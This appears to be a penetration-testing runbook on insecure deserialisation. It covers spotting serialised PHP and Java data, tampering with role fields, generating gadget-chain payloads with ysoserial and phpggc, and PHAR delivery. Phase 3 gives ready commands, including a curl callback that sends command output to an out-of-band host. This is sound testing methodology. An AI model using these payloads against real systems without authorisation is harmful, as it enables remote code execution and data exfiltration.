Runbook: Insecure deserialisation

When an application rebuilds an object from attacker-controlled bytes, the act of reconstruction can run code: magic methods fire, gadget chains in the classpath execute, and a tampered field changes an identity decision. Findings range from a flipped isAdmin flag to full remote code execution. The work runs from spotting serialised data to driving a gadget chain.

Prerequisites

  • Source access where available, since a code review is the most reliable route to the deserialisation sink.

  • Otherwise, captured traffic with the large opaque blobs that mark serialised objects.

  • The right generator for the language: ysoserial for Java, phpggc for PHP.

Phase 1: Spot serialised data

Look for the formats each language leaves behind:

  • PHP: strings like O:4:"User":2:{...}, often base64-encoded in a cookie or parameter.

  • Java: base64 beginning rO0AB, or raw bytes starting AC ED 00 05.

  • Ruby/Python: base64 blobs, Marshal/pickle artefacts, YAML where a loader is unsafe.

Decode anything base64 to read the structure. A user-controlled serialised object passed back to the server is the candidate.

Phase 2: Tamper without a gadget

The simplest wins need no chain. Modify a field in the serialised object and replay:

  • Flip an identity or role field (isAdmin, user_type) and watch for changed access.

  • Change a data type where the language compares loosely, so a strict comparison is dodged (PHP comparing a tampered type against an expected string, for instance).

  • Point a filename or path field elsewhere to reach a file the object then opens.

Phase 3: Drive a known gadget chain

Where tampering alone does not pay off, an installed library may carry a gadget chain that reaches code execution. Generate a payload with the matching tool and deliver it through the same parameter:

# Java, Apache Commons Collections on the classpath
java -jar ysoserial.jar CommonsCollections4 'curl http://COLLAB/$(id|base64)' | base64

# PHP, a framework gadget
phpggc Symfony/RCE4 system 'id' -b

ysoserial needs a JDK old enough to expose the gadget classes; Java 11 works where 17 blocks access. Confirm execution out of band (a Collaborator hit) rather than relying on a visible response.

Phase 4: Build a custom chain

Where no off-the-shelf chain fits, assemble one from the classes actually present. Identify magic methods that run on deserialisation (__wakeup, __destruct in PHP; readObject in Java), trace a sequence that ends in a dangerous call, and hand-craft the serialised object to walk it. PHAR deserialisation is the delivery trick worth remembering: a crafted PHAR archive deserialises its metadata when a file operation touches a phar:// path, so even an upload or a filename sink can be the entry point.

Output

  • The serialised object, its language, and the entry point.

  • Whether the impact was tamper-only (auth bypass, logic change) or full code execution.

  • The gadget chain used, and OOB confirmation of execution.

  • A note on blast radius, since deserialisation testing can damage the target if run carelessly.

Techniques